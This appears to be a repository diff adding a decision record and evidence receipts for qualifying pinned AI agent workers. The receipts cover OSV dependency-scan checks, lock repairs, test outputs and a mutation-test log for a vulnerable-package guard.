a/docs/decisions/2026-09-30-runtime-worker-qualification.md b/docs/decisions/2026-09-30-runtime-worker-qualification.md new file mode 100644 index 000000000..bb0a0892f --- /dev/null +++ b/docs/decisions/2026-09-30-runtime-worker-qualification.md @@ -0,0 +1,191 @@ +# Source-pinned runtime worker qualification + +The requested change is a source-backed candidate framework for bounded native +workers: coding/planning, research, review, browser extraction and GitHub work, +with task-scoped skills, native recovery and honest usage accounting. It is +implemented as supported upstream recipes and thin integration adapters rather +than a new agent loop. Existing default SDKs and global client/gateway settings +are not promoted by this record. + +The primary references are OpenHands/software-agent-sdk v1.50.0 at +`dcf401af7a9a302ef92cb7d092e1df9bb659daa5` (native skills, LLM dispatcher, +TaskToolSet, goal review and server lifecycle); openai/codex rust-v0.159.2 at +`ff6aec96948b70d94983af2641a6b67c94faeff5` (`sdk/python`, SDK CI and custom +model-provider config); GPT Researcher v3.7.0 at +`0957c301ed06c2a5857b834358c7227c739041d4` (native context filter, LLM kwargs, +CLI and selected tests); DeerFlow v2.1.0 at +`345f08be00c8a9495079b732a39b46aa9af1584e` (backend model factory, extensions, +client and native dependency override); Crawl4AI v0.9.4 at +`133e1d92e37885dfccc03ea2e3687d06c98b7ceb` (REST jobs, extraction and +regression tests); and Vercel skills v1.7.0 at +`7407f3893ad4dceab546ac002c3ef806e4000c73`. Recipes and the skill snapshot name +their exact source files, artifact hashes and current/historical distinctions. + +[The roster guide](../../blueprints/runtime-workers/README.md) maps each task +to its candidate and unresolved gates. [Native research receipts](../../evidence/artifacts/runtime-roster-20260930/README.md) +retain selected unchanged test commands and actual returned output. OpenHands' +[native upgrade outputs](../../blueprints/runtime-workers/openhands/evidence/upgrade-150-commands.json) +and [image triage](../../blueprints/runtime-workers/openhands/evidence/image-triage-20260930.json) +are separate. No native test total is a whole-roster quality result. + +The full OpenHands image remains unaccepted. The native Grype report has 56 +fixable High/Critical matches. Source triage distinguishes possible extension +identity collisions from bundled runtime findings; none is excluded without +image-byte confirmation. The unchanged Dockerfile retains the Python pin and +OpenVSCode's bundled Node, so a full rebuild alone is not an evidenced fix. +Supported capability removal would change the feature set and needs separate +acceptance. Astra/Max research was used for this consequential conflict, and +returned no accepted remediation. No OpenHands worker was launched. + +Codex's native dynamic lookup tool and new-process thread resume through the +clean OmniRoute Responses route ran in a separate owned branch/home. Overall +class is local integration. The final cumulative 52,286-token snapshot is +counted once, cache/reasoning subsets are not added, and provider/gateway and +whole-task usage remain unknown. [Direct Claude cooperation](2026-09-30-runtime-worker-coordination.md) +reserves global pin promotion to its live owner. The original two-commit SDK +handoff has been augmented by the accounting repair described below and stays +on a separate branch pending the owner's pin merge and fresh shared-lane +review. No Gate A/P3 or trusted-observer acceptance is inferred from a peer's +scope acknowledgement. + +The SDK follow-up also repairs a downstream accounting defect: merely tagging +the cumulative scope did not stop the Collector from adding start and resume +snapshots. Astra/Max verification followed the consequential accounting defect +left after a bounded Sol repair. The isolated native pipeline reproduced 78,331 and then excluded +these unbaselined totals; private results remain unchanged and native Claude +OTLP counters passed a separate positive control. The follow-up's additional +Collector paths need fresh shared-lane review. The current published follow-up +head is `404b821cd3af25800ea418dc6145cc5cb6fe33c5`, with its +`evidence/artifacts/runtime-sdk-20260930/usage-scope-receipt.json`; the historical +two-commit/ten-path replies do not acknowledge this larger diff. +Its unchanged full upstream SDK +suite retains one formatter-expectation failure, separate from the successful +native tool/resume execution and local integration fixtures. + +This candidate PR is `lane:shared` because it adds a pending gate and worker +checkpoint to the shared grand-dashboard state. Foundation recipes remain +foundation-owned. The dashboard state and fresh shared hash index are placed +in the last commit, and a trading-lane acknowledgement on the final PR is +required before merge; earlier SDK scope replies do not supply it. + +Corrections verified in this turn: + +- The recipe-family test loaders shared generic module names and failed a + combined run. Isolated import caches fixed the collision; the five-family + integration run returned 226 tests, exit 0, with four dependency/opt-in skips. +- The stale SocraticCode 1.14.0 path was replaced with canonical Linux 1.15.0; + 1.16.0 remains a separately recorded candidate. +- Crawl4AI's default was legacy Chat Completions extraction. Pinned source and + the default-dispatch regression fixture verify the correction to model-free + crawl, with no unused route/model claim. Original native job metadata is + retained by hash rather than rewritten. +- The foundation validator requires exactly three ranked top gaps. The first + attempt added a fourth and failed. The new runtime gate replaces the + previously addressed catalog-separation slot; historical catalog boundaries + remain unchanged, and the sandbox/recovery entries are retained. +- The SDK receipt's detailed native-attempt labels lacked the canonical + overall `local_integration` field. The separate SDK branch now adds it and + documents the example's new default-openai max-effort setting, following the + trading owner's conditional acknowledgement. +- The skills writer initially worked on bounded files in the coordinator + checkout. After that work stopped, all eleven owned files were copied + byte-identically into a separate worktree, and subsequent writing moved + there. The coordinator retains the completed copy for integration. +- Registering the new locks exposed the existing global NLTK suppression + guard. Fresh installed-source checks found no affected-symbol mentions + outside NLTK or direct calls from the two current recipes. The source-only + scope now binds the two exact lock hashes; no new advisory ID or expiry was + added. The initial OpenHands lock also regressed PyJWT and had other scanner + findings; those are retained for the bounded source-supported repair and + live lock-owner review, rather than hidden by a new suppression. +- The repaired OpenHands Linux/Python 3.13.15 wheel lock passes native hashed + installation, compatibility/import and twelve integration fixtures. Its + native OSV scan moves from exit 1 to exit 0 with only the two existing OAuth + suppressions. The fresh exact-lock caller review records re-exports and a + five-line Python-2 helper's initial parse failure, with a fallback limited + to its exact reviewed bytes. bc's independent candidate-head review was + pending at that checkpoint and is now cited below for the corrected lock. + The mixed worker receipt also needed a canonical overall class; + `local_integration` now accompanies separate native/source/fixture labels, + with its original description and receipt hash retained. +- The final inventory check found the retained compile-constraints artifact + unlisted. The first cross-directory `covered_by_lockfile` entry failed the + inventory's same-directory rule. Under the existing captured-fixture policy, + the frozen reproducibility input is now explicitly classified as evidence, + with its original hash/command and a reasoned exclusion. No recipe installs + it; all nine active runtime locks remain scanned. The inventory rules were + preserved, and the artifact was not renamed to evade them. + The new main-reconciliation fixture follows the same reasoned policy. Its + first integration check ran before Git tracked the new file and failed the + inventory's tracked-file assertion; after staging the unchanged bytes, all + 37 inventory/classification/workflow guard tests returned exit 0. +- The native pre-commit secret gate flagged a SHA256 beside a test filename + containing `tokens`, rather than a credential. All six values were + independently matched against the unchanged pinned test bytes. The receipt + now uses explicit `path`/`sha256` records, preserving every value and output; + no allowlist or hook bypass was added. The two refused commit attempts + returned exit 1. Dependent Git steps initially continued after refusal; + publication now checks each exit before advancing, and the final complete + head is verified separately. +- Another worktree advanced the shared `origin/main` ref while this checkout + was still based on the prior main. A provisional index rebuild on that + mismatched base failed publication validation on peer receipt metadata and + missing peer files. The branch was rebased onto the new main before taking + its fresh index. The registration helper now requires that the captured + main SHA is an ancestor of the checkout and pins every read to that SHA; + no peer receipt deletion was committed or published. This follows the + repository's existing hot-file protocol rather than hand-merging hashes. +- Earlier unqualified `git diff --check` results covered unstaged changes. + The full staged/branch check returns exit 2 for whitespace in retained + native/source-output text artifacts. Those original bytes and their hashes + are preserved under the evidence policy. The code/configuration check, + excluding only the named captured-output paths, returns exit 0. No source + output was silently trimmed to manufacture a clean full-diff result. + The reconciled head has eight such output files, including its new + OAuthlib caller listing. +- Claude's independent PR-head review found that the first lock repair used + the unreviewed candidate as its comparison baseline, leaving three versions + below the reviewed main lock despite no dependency forcing those decreases. + The candidate/native scan passes remain valid within their recorded scope; + they do not justify that source-convergence choice. Astra/Max reconciliation + retains main's compatible Linux versions and records both baselines, with + a fresh exact-lock installation/scan/caller review before final-head review. + [The reconciliation receipt](../../blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930.json) + records a byte-identical pristine reproduction and 176 selected requirements: + no additions, removals or downgrades relative to main's target-specific + closure; only SDK/tools advance to 1.50.0. Click 8.5.0, pypdf 6.19.0 and + Soup Sieve 2.9.2 are retained. OSV recognizes 174 requirements, omitting the + two hash-verified direct wheel URLs. Native current-config scan is exit 0; + empty-config control is exit 1 with exactly the two OAuthlib advisories. + The exception scope is Linux x86_64 / CPython 3.13.15 only; the installer + consumes the lock inside its pinned linux/amd64 image, not a native Mac venv. + The prior candidate repair and scan remain historical evidence with their + original bytes. The [separate review of the corrected SHA](../../evidence/artifacts/openhands-oauthlib-review-535-head6a7b16-20260930/receipt.json) + is merged in [PR #537](https://github.com/seathatflowsinourveins/native-agent-stack/pull/537). + Its receipt SHA256 is `c7473105255cc38bac1da6c7a490f99d863b58d865e82529d221b2a2e759908f`; + it completes bounded source/install/scanner review, excluding worker code, + images, provider/observer behavior and task quality. It approves no merge, + exception, pin or promotion. The new evidence pointer preserves the lock + bytes, existing advisory IDs and expiry dates. +- 2d corrected the earlier observer wording: no Gate A instrument was applied + to these candidates. Its issue #381 instruments were not reclassified as + local integration. The actual PR review checks are deterministic source + scope/leak checks, distinct from Gate A or model acceptance. +- PR #535's [first hosted macOS validation](https://github.com/seathatflowsinourveins/native-agent-stack/actions/runs/36690153586/job/109805172026) + returned exit 1 with one recovery + fixture failure: `interrupt` returned 3 instead of 0. The fixture passed an + unresolved temporary path through macOS's `/var` alias, while the production + worker correctly rejects symlinked result paths. The fixture now resolves + its state root, following the existing `tests/test_render_config.py` pattern + and Python 3.13's [Path.resolve reference](https://docs.python.org/3.13/library/pathlib.html#pathlib.Path.resolve). + The production guard is unchanged; final-head hosted checks verify the + platform result separately from the local regression run (12 tests, exit 0, + three explicit dependency skips). + Its [complete log artifact](https://github.com/seathatflowsinourveins/native-agent-stack/actions/runs/36690153586/artifacts/11085959275) + records 8,728 tests, one failure and 1,122 skips; uncompressed log SHA256 is + `ba7d68e9886c778bcc7cec0ce7030967d9563f2a861de741b6e38469c5ebff4f`. + +Broader adoption is contingent on maintained image remediation, a trusted +host-owned observer, frozen task-quality controls and complete attempt/judge +metering. A matched comparison can overturn the retained SDK default; this +implementation makes no convergence-superiority or token-saving claim. diff --git a/evidence/artifacts/osv-scope-followup-20260930/litellm-workflow-recheck.json b/evidence/artifacts/osv-scope-followup-20260930/litellm-workflow-recheck.json new file mode 100644 index 000000000..af0fa6709 --- /dev/null +++ b/evidence/artifacts/osv-scope-followup-20260930/litellm-workflow-recheck.json @@ -0,0 +1,90 @@ +{ + "schema_version": 1, + "record": "runtime-litellm-native-workflow-recheck-20260930", + "observed_utc": "2026-09-30T22:16:02.063865+00:00", + "base_revision": "1f2cdce5a3cdf3f965d45196d8158d12431394d2", + "source_patch_revision": "3f0cc3ff62386e355645d6ad5a6932aedcee8041", + "source_patch_revision_scope": "Retained local execution-input commit; not a public commit citation or a claim that its provisional index passed.", + "evidence_class": "local_integration", + "source_references": [ + "https://github.com/google/osv-scanner/releases/tag/v2.6.0", + "https://github.com/seathatflowsinourveins/native-agent-stack/blob/f7223996a58fee9f3cab52e8f1cef24f15e39228/.github/workflows/security-scan.yml", + "https://github.com/advisories/GHSA-3cv6-jpf6-8222", + "docs/acceptance-evidence-policy.md" + ], + "candidate_requirements_sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb", + "candidate_pins_sha256": "73d0465fe1f6b463e68848c447c1124457fe1b5c2132022be543b581d563e6df", + "checks": [ + { + "id": "unchanged-native-scan-step", + "command": "rtk python3 /nas-runtime-litellm-osv-step-20260930.py", + "native_argv": ["rtk", "proxy", "bash", "-c", ""], + "helper_source_sha256": "a241738ba289ac2d4fe596462a1b614d51746e9a155884986f5ae9d6e4611d1f", + "helper_source_bytes": 3040, + "started_at_utc": "2026-09-30T22:15:59.666737+00:00", + "completed_at_utc": "2026-09-30T22:16:02.063865+00:00", + "exit_code": 0, + "workflow_sha256": "1df67c92865aa16f53cbb9b451fa3fa82a83a50950dc20a8efeea227f93f6240", + "step_sha256": "bc092b630dabd7794baa26d5f7ecfa28934c76acc4e27745b9c914d106cc92f7", + "scanner_sha256": "ca69b3d3cd08f889a49dc0a383122f71cc528b83803671df5fd874d97485b108", + "inventory_count": 56, + "scanned_lines": 56, + "partitions": {"ordinary": 55, "frozen": 1}, + "write_sarif": false, + "stdout_sha256": "d527f7c06b09f5b0a8f643952bf9693fc3e69cd8ee4618b3aab718a3a72bfe89", + "stdout_bytes": 23316, + "stderr_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_bytes": 0, + "last_returned_line": "No issues found" + }, + { + "id": "affected-repository-checks", + "command": "rtk python3 -B -m unittest tests.test_runtime_worker_openhands tests.test_openhands_150 tests.test_osv_lockfile_coverage tests.test_workflow_hardening tests.test_convergence_contract", + "exit_code": 0, + "returned_output_excerpt": "Ran 280 tests in 11.413s\n\nOK (skipped=5)", + "original_combined_output_bytes": 393, + "original_combined_output_sha256": "baa3a6851d42a6ecffe186235f1f5c3b66a620263d1a4413e9dd0c5a391bc532", + "scope": "Repository integration tests, including 35 convergence checks. Skips remain explicit; this is not the historical upstream SDK suite or a live provider run." + }, + { + "id": "first-reconciled-publication-validator", + "command": "rtk python3 scripts/validate.py", + "exit_code": 0, + "returned_stdout_json": {"components": 69, "hashed_files": 8951, "profiles": 4, "receipts": 177, "status": "passed"}, + "original_combined_output_bytes": 161, + "original_combined_output_sha256": "c5af7b64908b1bdcc5ebac25bc7af3d5ce6e56f97dbfe3f660589324ef3d4c21", + "scope": "Integrity and declared scope after registering the new package evidence. Later documentation/index-only updates require their own integrity checks; no provider or GPU execution." + } + ], + "independent_source_review": { + "evidence_class": "source_review", + "reviewed_local_revision": "3f0cc3ff62386e355645d6ad5a6932aedcee8041", + "role": "independent Astra/Max verifier", + "trigger": "Consequential security fix and rebinding the existing OAuth exception to a new lock digest.", + "acceptance_result": "Bounded source review accepted; no binding defect found. Dynamic, semantic and compiled-extension limits remain.", + "verified_public_bindings": 39, + "verified_ledger_commands": 36, + "verified_private_records": 41, + "verified_original_streams": 82, + "returned_output_fidelity": "Public returns match originals after the declared substitutions.", + "guard_rerun": { + "command": "python3 -B -m unittest tests.test_osv_lockfile_coverage -v", + "exit_code": 0, + "tests": 38, + "skips": 0, + "returned_stderr_excerpt": "Ran 38 tests in 0.329s\n\nOK", + "returned_stderr_sha256": "9ce49ce04ab1f922e567261dd7a7448fd2ff043db2af08b2478c0e128b6e1f06" + }, + "retained_reviewer_correction": "Initial block helper exit 1 omitted two direct-URL requirements; corrected full-block check exits 0. This is a review-helper correction, not an upstream runtime failure.", + "claude_owner_acknowledgement": "Pending at the replacement lock; earlier acknowledgements remain bound to their original heads." + }, + "output_retention": "The exact helper, full original stdout/stderr and returned JSON remain in coordinator-owned private research storage. Historical reconciliation originals were not overwritten. This compact record retains native returned output and hashes; it is not a substitute for the original streams.", + "limitations": [ + "This executes the repository's unchanged scan step locally with the pinned native scanner; it is not an upstream test suite or hosted workflow observation.", + "Existing ordinary/frozen configurations, advisory IDs, expiry and inventory are unchanged. A configured green result does not establish semantic unreachability.", + "WRITE_SARIF=false leaves SARIF generation and hosted upload unexercised by this execution.", + "The prior 832938 independent review remains historical; exact new-lock review and owner acknowledgement are separate gates.", + "The published-package repair does not patch the upstream frozen workspace, image, provider or task-quality qualification." + ], + "usage": {"whole_task_usage": null, "savings_claim": "none", "new_model_or_image_run": false} +} diff --git a/evidence/artifacts/osv-scope-followup-20260930/nas-fba-evidence-index-20260930.txt b/evidence/artifacts/osv-scope-followup-20260930/nas-fba-evidence-index-20260930.txt new file mode 100644 index 000000000..0ac81f101 --- /dev/null +++ b/evidence/artifacts/osv-scope-followup-20260930/nas-fba-evidence-index-20260930.txt @@ -0,0 +1 @@ +{"files": 8542, "status": "passed"} diff --git a/evidence/artifacts/osv-scope-followup-20260930/nas-fba-mutants-20260930.txt b/evidence/artifacts/osv-scope-followup-20260930/nas-fba-mutants-20260930.txt new file mode 100644 index 000000000..44aeee509 --- /dev/null +++ b/evidence/artifacts/osv-scope-followup-20260930/nas-fba-mutants-20260930.txt @@ -0,0 +1,42 @@ +PASS unmutated: ran 18, failures 0, errors 0 +PASS R1a a double-quoted affected key beside an unquoted fixed one (live pnpm lock): 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS R1b a single-quoted affected key beside an unquoted fixed one (live pnpm lock): 1 failing test(s); expected rule 'pins next 16.3.5, which the GHSA-vcvr-r3jv-pc5j ignore hides' seen +PASS R2 an affected next in the retrieval recipe's package-lock.json: 1 failing test(s); expected rule 'pins next 16.3.5, which the GHSA-vcvr-r3jv-pc5j ignore hides' seen +PASS R3 a version below the introduced release is not affected +PASS R4 a pnpm tarball entry with its own name and version (live pnpm lock): 1 failing test(s); expected rule 'pins next 16.3.5, which the GHSA-vcvr-r3jv-pc5j ignore hides' seen +PASS R5 a yarn berry alias to next in an extra inventory lock: 1 failing test(s); expected rule 'pins next 16.3.5, which the GHSA-vcvr-r3jv-pc5j ignore hides' seen +PASS R6 a package-lock lockfileVersion 1 alias to next: 1 failing test(s); expected rule 'pins next 16.3.5, which the GHSA-vcvr-r3jv-pc5j ignore hides' seen +PASS R7 a package-lock entry node_modules/next with an empty name: 1 failing test(s); expected rule 'pins next 16.3.5, which the GHSA-vcvr-r3jv-pc5j ignore hides' seen +PASS R8 a package-lock entry vendor/next without a name: 1 failing test(s); expected rule 'pins next 16.3.5, which the GHSA-vcvr-r3jv-pc5j ignore hides' seen +PASS R9 whitespace-heavy input returns in linear time: 0.004 s for 305500 bytes +PASS R10 a canary above the fix, build metadata on the fix and a canary of the introduced release are not affected +PASS R11 an integer lockfileVersion is read +PASS R12 an inline pnpm record with its own name and version (live pnpm lock): 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS R13 a repeated packages key in a package-lock.json: 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS R14 a differently cased Packages key in a package-lock.json: 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS R15 an optional peer declaration of next is not a package: the guard stays quiet +PASS R16 the yarn root workspace is skipped +PASS R17 deep nesting is read or refused, never an error or an empty read: ['16.3.5'] +PASS R19 a package-lock lockfileVersion 1 dependency named next installed from a local path: 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS R20 a package-lock lockfileVersion 1 dependency named next installed from a git commit: 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS R21 a package-lock entry for next whose resolved URL is a git commit, with a fixed-looking version: 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS R22 a tagged packages key (!!str packages:) in the live pnpm lock, found by the independent verifier with the pinned scanner: 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS R23 packages supplied through a YAML merge key (<<: *base) in the live pnpm lock, found by the independent verifier with the pinned scanner: 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS R24 a Unicode line separator inside a pnpm lock: 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS R25 the fields of a pnpm entry indented by six spaces instead of four: 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS R26 a pnpm entry whose name field is a YAML null word: 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS R18 a pin in the second document of a two-document pnpm lock (live pnpm lock): 1 failing test(s); expected rule 'pins next 16.3.5, which the GHSA-vcvr-r3jv-pc5j ignore hides' seen +PASS M1 an entry key at the wrong indentation: 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS M2 an old slash key in a lockfileVersion 9 file: 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS M3 an importer-only pin is not a package: the guard stays quiet +PASS M4 an unknown lockfileVersion: 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS M5 an extra yarn.lock in the inventory pins an affected next: 1 failing test(s); expected rule 'pins next 16.3.5, which the GHSA-vcvr-r3jv-pc5j ignore hides' seen +PASS M6 an extra lock in a format no reader knows (bun.lockb): 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS M7 the macOS row removed: 1 failing test(s); expected rule 'pins next 16.3.5, which the GHSA-vcvr-r3jv-pc5j ignore hides' seen +PASS M8 the allowed lock no longer pins next: 1 failing test(s); expected rule 'the allowed lock no longer pins next' seen +PASS M9 the allowed lock cannot be read strictly: 1 failing test(s); expected rule 'cannot be read strictly' seen +PASS M10 OpenHands row sha256 wrong: 1 failing test(s): ['test_every_allowed_lock_matches_its_reviewed_digest'] +PASS M11 macOS row sha256 wrong: 1 failing test(s): ['test_every_allowed_lock_matches_its_reviewed_digest'] +PASS M12 the next scope entry removed: 3 failing test(s): ['test_allowed_advisories_are_scoped_active_ignores', 'test_the_next_guard_catches_a_mutant_lock', 'test_the_next_range_has_both_bounds'] +PASS unmutated again: ran 18, failures 0, errors 0 +ALL MUTANTS CAUGHT AND CONTROL CLEAN diff --git a/evidence/artifacts/osv-scope-followup-20260930/nas-fba-unittest-20260930.txt b/evidence/artifacts/osv-scope-followup-20260930/nas-fba-unittest-20260930.txt new file mode 100644 index 000000000..4832caf68 --- /dev/null +++ b/evidence/artifacts/osv-scope-followup-20260930/nas-fba-unittest-20260930.txt @@ -0,0 +1,5 @@ +............................................................................................................................................................. +---------------------------------------------------------------------- +Ran 157 tests in 10.053s + +OK diff --git a/evidence/artifacts/osv-scope-followup-20260930/nas-fba-validate-20260930.txt b/evidence/artifacts/osv-scope-followup-20260930/nas-fba-validate-20260930.txt new file mode 100644 index 000000000..7e4505a55 --- /dev/null +++ b/evidence/artifacts/osv-scope-followup-20260930/nas-fba-validate-20260930.txt @@ -0,0 +1,2 @@ +{"components": 69, "hashed_files": 8542, "profiles": 4, "receipts": 176, "status": "passed"} +Integrity and scope checks only; no live provider or GPU execution. diff --git a/evidence/artifacts/osv-scope-followup-20260930/native-split-evidence-index.stdout.txt b/evidence/artifacts/osv-scope-followup-20260930/native-split-evidence-index.stdout.txt new file mode 100644 index 000000000..b04103971 --- /dev/null +++ b/evidence/artifacts/osv-scope-followup-20260930/native-split-evidence-index.stdout.txt @@ -0,0 +1 @@ +{"files": 8545, "status": "passed"} diff --git a/evidence/artifacts/osv-scope-followup-20260930/native-split-review.json b/evidence/artifacts/osv-scope-followup-20260930/native-split-review.json new file mode 100644 index 000000000..47b315b9b --- /dev/null +++ b/evidence/artifacts/osv-scope-followup-20260930/native-split-review.json @@ -0,0 +1,92 @@ +{ + "schema_version": 1, + "record": "osv-native-split-independent-review-20260930", + "observed_utc": "2026-09-30T18:12:31Z", + "reviewed_commit": "4a09c9c5f1e5fdb5555d4c916666f12e089cf09f", + "evidence_class": "Independent execution of unchanged repository integration and integrity checks; not upstream tests or runtime/provider/image acceptance.", + "ordinary_input_count": 48, + "frozen_input_count": 1, + "frozen_lock": { + "path": "evidence/artifacts/macos-application-20260924/variant/pnpm-lock.yaml", + "sha256": "f1c707b8295e85bd396e49b990de92dc82bc0d58eca1e4e4bef31262d9898cd2", + "advisory": "GHSA-vcvr-r3jv-pc5j", + "expires": "2026-12-24" + }, + "commands": [ + { + "command": "python3 -B -m unittest tests.test_osv_lockfile_coverage tests.test_workflow_hardening tests.test_runtime_worker_openhands", + "exit_code": 0, + "output": "native-split-unittest.stderr.txt", + "sha256": "0c1031987a585f65dc0b5f3a98fd58b4d8e5c7cabfc5544f51dc1b88ba52d5cd", + "test_count": 233, + "skipped": 2, + "skip_reasons": [ + "Empty-hash frozen exemption check", + "PyYAML cross-check unavailable" + ] + }, + { + "command": "python3 -B blueprints/runtime-workers/openhands/evidence/relock-2026-09-30-urllib3.osv-split-controls.py.txt ", + "exit_code": 0, + "result": "Unchanged extracted workflow exits 0 in both WRITE_SARIF=false and WRITE_SARIF=true modes; same 49 inputs scanned once or twice respectively.", + "stdout_sha256": "eedb3a133e8a37ada46411a1d204019542d5d4a917c2788a803c7dd8cef3ac05", + "output_retention": "Original argv/stdout/stderr retained privately outside the checkout." + }, + { + "command": "python3 scripts/validate.py", + "exit_code": 0, + "output": "native-split-validate.stdout.txt", + "sha256": "85c8c93994f1d022e4a681bcc1414f57571d380fc716f4091fa024e0977609ee" + }, + { + "command": "python3 scripts/evidence_manifest.py --check", + "exit_code": 0, + "output": "native-split-evidence-index.stdout.txt", + "sha256": "a26f8fb01df537ed9a634e45d29a4b0fb39084139d18b6147500e53e897add17" + } + ], + "sarif": { + "file_count": 2, + "bytes_each": 1168, + "version": "2.1.0", + "runs_each": 1, + "results_each": 0, + "sha256_each": "4568c81b00798436c2ec0a6ce67d41500aa483516d6b354f00bd1885c50b5955", + "hosted_upload": "not_run_locally" + }, + "failure_controls": [ + { + "control": "Missing ordinary config, unchanged extracted workflow", + "extracted_step_sha256": "bc092b630dabd7794baa26d5f7ecfa28934c76acc4e27745b9c914d106cc92f7", + "ordinary_scan_exit": 127, + "frozen_scan_exit": 0, + "workflow_step_exit": 127, + "native_error": "Failed to read config file: open .github/osv-scanner.toml: no such file or directory", + "original_record_sha256": "e0eb361441c87fbeffeaace10c20fd8f2c8bb97ff4f18e239f3ce332ff7e2eac" + }, + { + "control": "Append one LF byte to frozen lock; unchanged FrozenScanTests.test_each_frozen_lock_matches_its_reviewed_digest_and_names_evidence", + "exit_code": 1, + "mutated_sha256": "0a64676fbc677cfa63d5d7f8251b059d270b39b0fccc01449a0a0e8bc1785032", + "original_record_sha256": "3740a683e27df539faef56be37e9517ab4f7cbfc22cab567eb5b856aaac53fbd" + }, + { + "control": "Restore exact frozen bytes; unchanged same digest test", + "exit_code": 0, + "restored_sha256": "f1c707b8295e85bd396e49b990de92dc82bc0d58eca1e4e4bef31262d9898cd2", + "original_record_sha256": "d3a121955b5bb67b6309a3e9a5e32231a94bf84a8e91febe43b859860802ec0b" + } + ], + "sources": [ + "https://github.com/google/osv-scanner/blob/v2.6.0/docs/configuration.md#L23", + "https://github.com/google/osv-scanner/blob/v2.6.0/internal/config/manager.go#L24", + "https://github.com/seathatflowsinourveins/native-agent-stack/blob/4a09c9c5f1e5fdb5555d4c916666f12e089cf09f/.github/workflows/security-scan.yml", + "https://github.com/seathatflowsinourveins/native-agent-stack/blob/4a09c9c5f1e5fdb5555d4c916666f12e089cf09f/tests/test_osv_lockfile_coverage.py" + ], + "verdict": "No outstanding material source defect found in this bounded independent review. Disposable fixture inputs restored exactly; immutable review worktree clean.", + "limitations": [ + "Original failure-control records retain argv and native streams privately; this public receipt summarizes their exact exits and binds the originals.", + "Hosted upload and required hosted checks are separate gates. No merge is inferred.", + "No new lock compile, installation, model/provider/image run, observer qualification, whole-task usage or token-saving comparison is accepted." + ] +} diff --git a/evidence/artifacts/osv-scope-followup-20260930/native-split-unittest.stderr.txt b/evidence/artifacts/osv-scope-followup-20260930/native-split-unittest.stderr.txt new file mode 100644 index 000000000..db2389ae8 --- /dev/null +++ b/evidence/artifacts/osv-scope-followup-20260930/native-split-unittest.stderr.txt @@ -0,0 +1,5 @@ +...................................................................ss.................................................................................................................................................................... +---------------------------------------------------------------------- +Ran 233 tests in 13.561s + +OK (skipped=2) diff --git a/evidence/artifacts/osv-scope-followup-20260930/native-split-validate.stdout.txt b/evidence/artifacts/osv-scope-followup-20260930/native-split-validate.stdout.txt new file mode 100644 index 000000000..da11f59a1 --- /dev/null +++ b/evidence/artifacts/osv-scope-followup-20260930/native-split-validate.stdout.txt @@ -0,0 +1,2 @@ +{"components": 69, "hashed_files": 8545, "profiles": 4, "receipts": 176, "status": "passed"} +Integrity and scope checks only; no live provider or GPU execution. diff --git a/evidence/artifacts/osv-scope-followup-20260930/receipt.json b/evidence/artifacts/osv-scope-followup-20260930/receipt.json new file mode 100644 index 000000000..0e405d177 --- /dev/null +++ b/evidence/artifacts/osv-scope-followup-20260930/receipt.json @@ -0,0 +1,49 @@ +{ + "schema_version": 1, + "record": "osv-scope-followup-20260930", + "observed_utc": "2026-09-30T17:45:39Z", + "reviewed_commit": "fba387496ca264e878e03283f32c499aee0fd366", + "evidence_class": "Independent native execution of unchanged repository integration and artifact-integrity checks; not upstream tests or a worker/provider/image run.", + "commands": [ + { + "command": "python3 -B -m unittest tests.test_osv_lockfile_coverage tests.test_runtime_worker_openhands", + "exit_code": 0, + "output": "nas-fba-unittest-20260930.txt", + "sha256": "8df00f874a9b7bd6fe4c6ff33476a1c95f4f57f0fbac4c19a88769a6e4b54884", + "result": "157 tests passed; native elapsed 10.053s." + }, + { + "command": "python3 -B blueprints/runtime-workers/openhands/evidence/relock-2026-09-30-urllib3.guard-mutants.py.txt", + "exit_code": 0, + "output": "nas-fba-mutants-20260930.txt", + "sha256": "6aa1c51a2513c6c6fb8e1b51dbea64cd8cc29e0c3dea46f1fc4f933ecb4832bc", + "result": "Original mutation controls and both unmutated controls passed." + }, + { + "command": "python3 scripts/validate.py", + "exit_code": 0, + "output": "nas-fba-validate-20260930.txt", + "sha256": "88e98c08151e4bff895ab73e76a46afbbafdb490af1d0bf3427d1d2afab2fe56", + "result": "69 components, 8542 hashed files, four profiles, 176 receipts." + }, + { + "command": "python3 scripts/evidence_manifest.py --check", + "exit_code": 0, + "output": "nas-fba-evidence-index-20260930.txt", + "sha256": "b9dd17b602fca37413e53cda5beeb4d15a3e814cd88f186f78206b4ec37168f3", + "result": "8542 file bindings passed." + } + ], + "architecture_sources": [ + "https://github.com/google/osv-scanner/blob/v2.6.0/docs/configuration.md#L23", + "https://github.com/google/osv-scanner/blob/v2.6.0/internal/config/manager.go#L24", + "https://github.com/seathatflowsinourveins/native-agent-stack/blob/fba387496ca264e878e03283f32c499aee0fd366/.github/workflows/security-scan.yml#L67" + ], + "decision": "The consequential Astra/Max architecture review recommends holding PR546 until supported native split scans land before or with it; the coordinator sent that decision to the owner. An explicit native config applies to all inputs in one invocation, so the current global Next exception still relies on custom readers for scope enforcement.", + "limitations": [ + "The platform flagged the subagent's separate follow-up review as a possible cybersecurity risk, so that turn produced no final verdict. These direct unchanged native checks are separate evidence.", + "Passing supplied integration tests and mutation controls does not establish exhaustive parser completeness or a new bypass in fba3874.", + "The native split-scan capability was independently demonstrated against the prior actual inputs; an implemented workflow and final-head hosted acceptance remain outstanding.", + "No source fix, merged PR, changed expiry, additional advisory exception, live worker/provider, model trial, image operation, token-saving comparison or host deployment is accepted by this receipt." + ] +} 